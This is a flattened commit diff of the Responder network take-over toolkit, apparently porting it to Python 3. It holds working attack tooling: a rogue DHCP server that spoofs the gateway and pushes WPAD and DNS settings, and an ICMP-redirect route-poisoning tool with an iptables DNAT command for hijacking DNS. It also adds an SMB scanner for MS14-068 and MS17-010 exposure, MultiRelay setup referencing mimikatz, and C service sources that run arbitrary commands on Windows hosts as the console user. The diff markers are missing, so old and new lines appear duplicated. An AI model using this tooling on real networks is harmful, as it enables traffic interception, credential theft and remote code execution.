self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
self.fields["Op15Str"] = DNSNAME
self.fields["Op252Str"] = WPADSRV
self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
class DHCPInformACK(Packet):
fields = OrderedDict([
@@ -212,14 +252,14 @@ class DHCPInformACK(Packet):
])
def calculate(self):
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
self.fields["Op1Str"] = socket.inet_aton(NETMASK)
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER).decode('latin-1')
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
self.fields["Op15Str"] = DNSNAME
self.fields["Op252Str"] = WPADSRV
self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
def SpoofIP(Spoof):
return ROUTERIP if Spoof else Responder_IP
@@ -242,8 +282,9 @@ def ParseSrcDSTAddr(data):
return SrcIP, SrcPort, DstIP, DstPort
def FindIP(data):
data = data.decode('latin-1')
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
return ''.join(IP[0:4])
return ''.join(IP[0:4]).encode('latin-1')
def ParseDHCPCode(data):
PTid = data[4:8]
@@ -251,52 +292,54 @@ def ParseDHCPCode(data):
CurrentIP = socket.inet_ntoa(data[12:16])
RequestedIP = socket.inet_ntoa(data[16:20])
MacAddr = data[28:34]
MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr).upper()
MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr.decode('latin-1')).upper()
OpCode = data[242:243]
RequestIP = data[245:249]
# DHCP Inform
if OpCode == "\x08":
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP))
Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP),
GiveClientIP=socket.inet_aton("0.0.0.0"),
NextServerIP=socket.inet_aton("0.0.0.0"),
RelayAgentIP=socket.inet_aton("0.0.0.0"),
ElapsedSec=Seconds)
if OpCode == b"\x08":
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP))
Packet = DHCPInformACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'),
GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
elif OpCode == b"\x03" and Respond_To_Requests: # DHCP Request
IP = FindIP(data)
if IP:
IPConv = socket.inet_ntoa(IP)
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds)
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)).decode('latin-1'), DstIP=IP.decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover
IP = FindIP(data)
if IP:
IPConv = socket.inet_ntoa(IP)
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds)
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
def SendDHCP(packet,Host):
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto(packet, Host)
s.sendto(NetworkSendBufferPython2or3(packet), Host)
if __name__ == "__main__":
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
@@ -305,7 +348,7 @@ if __name__ == "__main__":
while True:
try:
data = s.recvfrom(65535)
if data[0][23:24] == "\x11": # is udp?
if data[0][23:24] == b"\x11": # is udp?
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
if SrcPort == 67 or DstPort == 67:

View File

@@ -1,99 +0,0 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re,sys,socket,struct
import os
import datetime
import multiprocessing
from socket import *
sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..')))
from packets import SMBHeaderReq, SMB2NegoReq, SMB2NegoDataReq
def GetBootTime(data):
Filetime = int(struct.unpack('<q',data)[0])
if Filetime == 0: # server may not disclose this info
return 0, "Unknown"
t = divmod(Filetime - 116444736000000000, 10000000)
time = datetime.datetime.fromtimestamp(t[0])
return time, time.strftime('%Y-%m-%d %H:%M:%S')
def IsDCVuln(t, host):
if t[0] == 0:
print("Server", host[0], "did not disclose its boot time")
return
Date = datetime.datetime(2014, 11, 17, 0, 30)
if t[0] < Date:
print("System is up since:", t[1])
print("This system may be vulnerable to MS14-068")
Date = datetime.datetime(2017, 0o3, 14, 0, 30)
if t[0] < Date:
print("System is up since:", t[1])
print("This system may be vulnerable to MS17-010")
print("Server", host[0], "is up since:", t[1])
def run(host):
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(5)
try:
s.connect(host)
Header = SMBHeaderReq(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
Nego = SMB2NegoReq(Data = SMB2NegoDataReq())
Nego.calculate()
Packet = str(Header)+str(Nego)
Buffer = struct.pack(">i", len(Packet)) + Packet
s.send(Buffer)
data = s.recv(1024)
if data[4:5] == "\xff":
print("Server", host[0], "doesn't support SMBv2")
if data[4:5] == "\xfe":
IsDCVuln(GetBootTime(data[116:124]), host)
except KeyboardInterrupt:
s.close()
sys.exit("\rExiting...")
except:
s.close()
pass
def atod(a):
return struct.unpack("!L",inet_aton(a))[0]
def dtoa(d):
return inet_ntoa(struct.pack("!L", d))
if __name__ == "__main__":
if len(sys.argv)<=1:
sys.exit('Usage: python '+sys.argv[0]+' 10.1.3.37\nor:\nUsage: python '+sys.argv[0]+' 10.1.3.37/24')
m = re.search("/", str(sys.argv[1]))
if m :
net,_,mask = sys.argv[1].partition('/')
mask = int(mask)
net = atod(net)
threads = []
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
p = multiprocessing.Process(target=run, args=((host,445),))
threads.append(p)
p.start()
else:
run((str(sys.argv[1]),445))

View File

@@ -16,12 +16,12 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from socket import *
print('MSSQL Server Finder 0.2')
print('MSSQL Server Finder 0.3')
s = socket(AF_INET,SOCK_DGRAM)
s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)
s.settimeout(2)
s.sendto('\x02',('255.255.255.255',1434))
s.settimeout(5)
s.sendto(b'\x02',('255.255.255.255',1434))
try:
while 1:
@@ -31,7 +31,7 @@ try:
else:
print("===============================================================")
print(("Host details: %s"%(address[0])))
print((data[2:]))
print((data[2:]).decode('latin-1'))
print("===============================================================")
print("")
except:

View File

@@ -19,14 +19,16 @@ import struct
import optparse
import pipes
import sys
import codecs
from socket import *
sys.path.append('../')
from odict import OrderedDict
from random import randrange
from time import sleep
from subprocess import call
from packets import Packet
if (sys.version_info < (3, 0)):
sys.exit('This script is meant to be run with Python3')
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1',
prog=sys.argv[0],
)
@@ -78,13 +80,53 @@ def Show_Help(ExtraHelpData):
MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP)
#Python version
if (sys.version_info > (3, 0)):
PY2OR3 = "PY3"
else:
PY2OR3 = "PY2"
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 == "PY2":
return struct.pack(endian, data)
#Python3...
else:
return struct.pack(endian, data).decode('latin-1')
def NetworkSendBufferPython2or3(data):
if PY2OR3 == "PY2":
return str(data)
else:
return bytes(str(data), 'latin-1')
def NetworkRecvBufferPython2or3(data):
if PY2OR3 == "PY2":
return str(data)
else:
return str(data.decode('latin-1'))
def GenCheckSum(data):
s = 0
for i in range(0, len(data), 2):
q = ord(data[i]) + (ord(data[i+1]) << 8)
f = s + q
s = (f & 0xffff) + (f >> 16)
return struct.pack("<H",~s & 0xffff)
return StructWithLenPython2or3("<H",~s & 0xffff)
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
#####################################################################
#ARP Packets
@@ -110,8 +152,8 @@ class ARPWhoHas(Packet):
])
def calculate(self):
self.fields["DstIP"] = inet_aton(self.fields["DstIP"])
self.fields["SenderIP"] = inet_aton(OURIP)
self.fields["DstIP"] = inet_aton(self.fields["DstIP"]).decode('latin-1')
self.fields["SenderIP"] = inet_aton(OURIP).decode('latin-1')
#####################################################################
#ICMP Redirect Packets
@@ -141,11 +183,11 @@ class IPPacket(Packet):
def calculate(self):
self.fields["TID"] = chr(randrange(256))+chr(randrange(256))
self.fields["SrcIP"] = inet_aton(str(self.fields["SrcIP"]))
self.fields["DestIP"] = inet_aton(str(self.fields["DestIP"]))
self.fields["SrcIP"] = inet_aton(str(self.fields["SrcIP"])).decode('latin-1')
self.fields["DestIP"] = inet_aton(str(self.fields["DestIP"])).decode('latin-1')
# Calc Len First
CalculateLen = str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])+str(self.fields["Data"])
self.fields["Len"] = struct.pack(">H", len(CalculateLen))
self.fields["Len"] = StructWithLenPython2or3(">H", len(CalculateLen))
# Then CheckSum this packet
CheckSumCalc =str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
@@ -160,7 +202,7 @@ class ICMPRedir(Packet):
])
def calculate(self):
self.fields["GwAddr"] = inet_aton(OURIP)
self.fields["GwAddr"] = inet_aton(OURIP).decode('latin-1')
CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
@@ -177,18 +219,18 @@ def ReceiveArpFrame(DstAddr):
s.settimeout(5)
Protocol = 0x0806
s.bind((Interface, Protocol))
OurMac = s.getsockname()[4]
OurMac = s.getsockname()[4].decode('latin-1')
Eth = EthARP(SrcMac=OurMac)
Arp = ARPWhoHas(DstIP=DstAddr,SenderMac=OurMac)
Arp.calculate()
final = str(Eth)+str(Arp)
try:
s.send(final)
s.send(NetworkSendBufferPython2or3(final))
data = s.recv(1024)
DstMac = data[22:28]
DestMac = DstMac.encode('hex')
PrintMac = ":".join([DestMac[x:x+2] for x in range(0, len(DestMac), 2)])
return PrintMac,DstMac
DestMac = codecs.encode(DstMac, 'hex')
PrintMac = ":".join([DestMac[x:x+2].decode('latin-1') for x in range(0, len(DestMac), 2)])
return PrintMac,DstMac.decode('latin-1')
except:
print("[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr))
exit(1)
@@ -209,7 +251,7 @@ def IcmpRedirectSock(DestinationIP):
IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack))
IPPack.calculate()
final = str(Eth)+str(IPPack)
s.send(final)
s.send(NetworkSendBufferPython2or3(final))
print('\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP))
def FindWhatToDo(ToThisHost2):

View File

@@ -59,6 +59,16 @@ Mimikatzx86Filename = "./MultiRelay/bin/mimikatz_x86.exe"
RunAsFileName = "./MultiRelay/bin/Runas.exe"
SysSVCFileName = "./MultiRelay/bin/Syssvc.exe"
def color(txt, code = 1, modifier = 0):
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
if os.path.isfile(SysSVCFileName) is False:
print(color("[!]MultiRelay/bin/ folder is empty. You need to run these commands:\n",1,1))
print(color("apt-get install gcc-mingw-w64-x86-64",2,1))
print(color("x86_64-w64-mingw32-gcc ./MultiRelay/bin/Runas.c -o ./MultiRelay/bin/Runas.exe -municode -lwtsapi32 -luserenv",2,1))
print(color("x86_64-w64-mingw32-gcc ./MultiRelay/bin/Syssvc.c -o ./MultiRelay/bin/Syssvc.exe -municode",2,1))
print(color("\nAdditionally, you can add your custom mimikatz executables (mimikatz.exe and mimikatz_x86.exe)\nin the MultiRelay/bin/ folder for the mimi32/mimi command.",3,1))
sys.exit()
def UserCallBack(op, value, dmy, parser):
args=[]
@@ -92,7 +102,7 @@ if options.ExtraPort is None:
options.ExtraPort = 0
if not os.geteuid() == 0:
print((color("[!] MultiRelay must be run as root.")))
print(color("[!] MultiRelay must be run as root."))
sys.exit(-1)
OneCommand = options.OneCommand
@@ -105,10 +115,6 @@ Cmd = []
ShellOpen = []
Pivoting = [2]
def color(txt, code = 1, modifier = 0):
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
def ShowWelcome():
print(color('\nResponder MultiRelay %s NTLMv1/2 Relay' %(__version__),8,1))
print('\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com')

View File

@@ -0,0 +1,100 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include <windows.h>
#include <userenv.h>
#include <wtsapi32.h>
int wmain(int argc, wchar_t * argv[]);
void WINAPI ServiceMain(DWORD argc, LPWSTR *argv);
void WINAPI ServiceCtrlHandler(DWORD Opcode);
SERVICE_STATUS m_ServiceStatus = {SERVICE_WIN32_OWN_PROCESS, SERVICE_STOPPED, 0, NO_ERROR, 0, 0, 0};
SERVICE_STATUS_HANDLE m_ServiceStatusHandle = NULL;
HANDLE m_pyrsvcRunning;
PWCHAR z_cmdLine, z_logFile;
const WCHAR PYRSVC_NAME[] = L"pyrsvc", PYRSVC_PRE_CMD[] = L"cmd.exe /c \"", PYRSVC_POST_CMD[] = L"\" > ", PYRSVC_END_CMD[] = L" 2>&1";
int wmain(int argc, wchar_t * argv[])
{
int status = ERROR_SERVICE_NOT_IN_EXE;
const SERVICE_TABLE_ENTRY DispatchTable[]= {{(LPWSTR) PYRSVC_NAME, ServiceMain}, {NULL, NULL}};
if(argc == 3)
{
if(z_cmdLine = _wcsdup(argv[1]))
{
if(z_logFile = _wcsdup(argv[2]))
{
if(m_pyrsvcRunning = CreateEvent(NULL, TRUE, FALSE, NULL))
{
if(StartServiceCtrlDispatcher(DispatchTable))
status = ERROR_SUCCESS;
else status = GetLastError();
CloseHandle(m_pyrsvcRunning);
}
free(z_logFile);
}
free(z_cmdLine);
}
}
return status;
}
void WINAPI ServiceMain(DWORD argc, LPWSTR *argv)
{
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
PWCHAR arguments;
DWORD size;
HANDLE hUser;
LPVOID env;
si.cb = sizeof(STARTUPINFO);
if(m_ServiceStatusHandle = RegisterServiceCtrlHandler(PYRSVC_NAME, ServiceCtrlHandler))
{
m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
size = ((ARRAYSIZE(PYRSVC_PRE_CMD) - 1) + lstrlen(z_cmdLine) + (ARRAYSIZE(PYRSVC_POST_CMD) - 1) + lstrlen(z_logFile) + (ARRAYSIZE(PYRSVC_END_CMD) - 1) + 1) * sizeof(WCHAR);
if(arguments = (PWCHAR) malloc(size))
{
memset(arguments, '\0', size);
wcscat_s(arguments, size, PYRSVC_PRE_CMD);
wcscat_s(arguments, size, z_cmdLine);
wcscat_s(arguments, size, PYRSVC_POST_CMD);
wcscat_s(arguments, size, z_logFile);
wcscat_s(arguments, size, PYRSVC_END_CMD);
if(WTSQueryUserToken(WTSGetActiveConsoleSessionId(), &hUser))
{
if(CreateEnvironmentBlock(&env, hUser, FALSE))
{
if(CreateProcessAsUser(hUser, NULL, arguments, NULL, NULL, FALSE, CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT, NULL, NULL, &si, &pi))
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
DestroyEnvironmentBlock(env);
}
CloseHandle(hUser);
}
free(arguments);
}
WaitForSingleObject(m_pyrsvcRunning, INFINITE);
m_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
}
}
void WINAPI ServiceCtrlHandler(DWORD Opcode)
{
if((Opcode == SERVICE_CONTROL_STOP) || (Opcode == SERVICE_CONTROL_SHUTDOWN))
{
m_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus (m_ServiceStatusHandle, &m_ServiceStatus);
SetEvent(m_pyrsvcRunning);
}
}

Binary file not shown.

View File

@@ -0,0 +1,90 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include <windows.h>
int wmain(int argc, wchar_t * argv[]);
void WINAPI ServiceMain(DWORD argc, LPWSTR *argv);
void WINAPI ServiceCtrlHandler(DWORD Opcode);
SERVICE_STATUS m_ServiceStatus = {SERVICE_WIN32_OWN_PROCESS, SERVICE_STOPPED, 0, NO_ERROR, 0, 0, 0};
SERVICE_STATUS_HANDLE m_ServiceStatusHandle = NULL;
HANDLE m_pyrsvcRunning;
PWCHAR z_cmdLine, z_logFile;
const WCHAR PYRSVC_NAME[] = L"pyrsvc", PYRSVC_PRE_CMD[] = L"cmd.exe /c \"", PYRSVC_POST_CMD[] = L"\" > ", PYRSVC_END_CMD[] = L" 2>&1";
int wmain(int argc, wchar_t * argv[])
{
int status = ERROR_SERVICE_NOT_IN_EXE;
const SERVICE_TABLE_ENTRY DispatchTable[]= {{(LPWSTR) PYRSVC_NAME, ServiceMain}, {NULL, NULL}};
if(argc == 3)
{
if(z_cmdLine = _wcsdup(argv[1]))
{
if(z_logFile = _wcsdup(argv[2]))
{
if(m_pyrsvcRunning = CreateEvent(NULL, TRUE, FALSE, NULL))
{
if(StartServiceCtrlDispatcher(DispatchTable))
status = ERROR_SUCCESS;
else status = GetLastError();
CloseHandle(m_pyrsvcRunning);
}
free(z_logFile);
}
free(z_cmdLine);
}
}
return status;
}
void WINAPI ServiceMain(DWORD argc, LPWSTR *argv)
{
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
PWCHAR arguments;
DWORD size;
si.cb = sizeof(STARTUPINFO);
if(m_ServiceStatusHandle = RegisterServiceCtrlHandler(PYRSVC_NAME, ServiceCtrlHandler))
{
m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
size = ((ARRAYSIZE(PYRSVC_PRE_CMD) - 1) + lstrlen(z_cmdLine) + (ARRAYSIZE(PYRSVC_POST_CMD) - 1) + lstrlen(z_logFile) + (ARRAYSIZE(PYRSVC_END_CMD) - 1) + 1) * sizeof(WCHAR);
if(arguments = (PWCHAR) malloc(size))
{
memset(arguments, '\0', size);
wcscat_s(arguments, size, PYRSVC_PRE_CMD);
wcscat_s(arguments, size, z_cmdLine);
wcscat_s(arguments, size, PYRSVC_POST_CMD);
wcscat_s(arguments, size, z_logFile);
wcscat_s(arguments, size, PYRSVC_END_CMD);
if(CreateProcess(NULL, arguments, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
free(arguments);
}
WaitForSingleObject(m_pyrsvcRunning, INFINITE);
m_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
}
}
void WINAPI ServiceCtrlHandler(DWORD Opcode)
{
if((Opcode == SERVICE_CONTROL_STOP) || (Opcode == SERVICE_CONTROL_SHUTDOWN))
{
m_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus (m_ServiceStatusHandle, &m_ServiceStatus);
SetEvent(m_pyrsvcRunning);
}
}

Binary file not shown.

Binary file not shown.

View File

@@ -24,6 +24,7 @@ import settings
import datetime
import codecs
import struct
from calendar import timegm
def RandomChallenge():
if settings.Config.PY2OR3 == "PY3":
@@ -50,6 +51,15 @@ def RandomChallenge():
def HTTPCurrentDate():
Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
return Date
def SMBTime():
dt = datetime.datetime.now()
dt = dt.replace(tzinfo=None)
if settings.Config.PY2OR3 == "PY3":
return struct.pack("<Q",116444736000000000 + (timegm(dt.timetuple()) * 10000000)).decode('latin-1')
else:
return struct.pack("<Q",116444736000000000 + (timegm(dt.timetuple()) * 10000000))
try:
import sqlite3
except:
@@ -410,5 +420,4 @@ def StartupMessage():
print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1))
if len(settings.Config.DontRespondToName):
print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1))
print('\n\n')